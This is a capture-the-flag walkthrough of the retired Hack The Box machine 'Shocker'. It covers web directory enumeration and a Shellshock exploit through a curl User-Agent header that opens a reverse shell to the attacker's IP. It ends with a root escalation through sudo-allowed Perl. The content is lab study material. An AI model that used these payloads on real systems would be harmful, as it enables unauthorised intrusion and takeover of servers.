HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform. Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Shocker, is retired.
The walkthrough
Let’s start with this machine.
Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
The Shocker machine IP is 10.10.10.56.
We will adopt the same methodology of performing penetration testing as we have used previously. Let’s start with enumeration in order to gain as much information about the machine as possible.
As usual, let’s start with a nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE] «nmap -sC -sV -oA Shocker 10.10.10.56»
We got two ports, 80 and 2222, where 2222 was for SSH.
We enumerate port 80 and find just this picture. Since we’re completely stuck, let’s enumerate the directories.
The initial few dictionaries result in only index.html, which was bit surprising. While using dirb, we got a hit on cgi-bin as well, which was restricted. OK, this is encouraging. «dirb http://10.10.10.56»
Let’s use this again with gobuster with the possible extensions .php, .sh and .html. «gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -t 30 -x .php,.sh,.html»
There was an user.sh file detected. Let’s see what this file is doing. «curl -vvv http://10.10.10.56/cgi-bin/user.sh»
The guess at this time was to try “shellshock” on this server. Below is a successful attempt. «curl -H ‘User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.3/4488 0>&1’ http://10.10.10.56:80/cgi-bin/user.sh»
We got into user “shelly.” We can now directly read user.txt. «ls» «cat user.txt»
Let’s escalate privileges to root. The very first enumeration reveals that the user can run any command with Perl binary as root. «sudo -l»
We’ll now use that to escalate the shell. «sudo perl -e ‘exec’ “/bin/sh”»
We finish by reading the root.txt box. «id» «cat /root/root.txt»
And we’re done! So, Shocker was one of the easiest boxes yet in HTB, but the initial entry into the system can cause someone to travel down some odd rabbit holes. We will continue this series with more interesting HTB machines.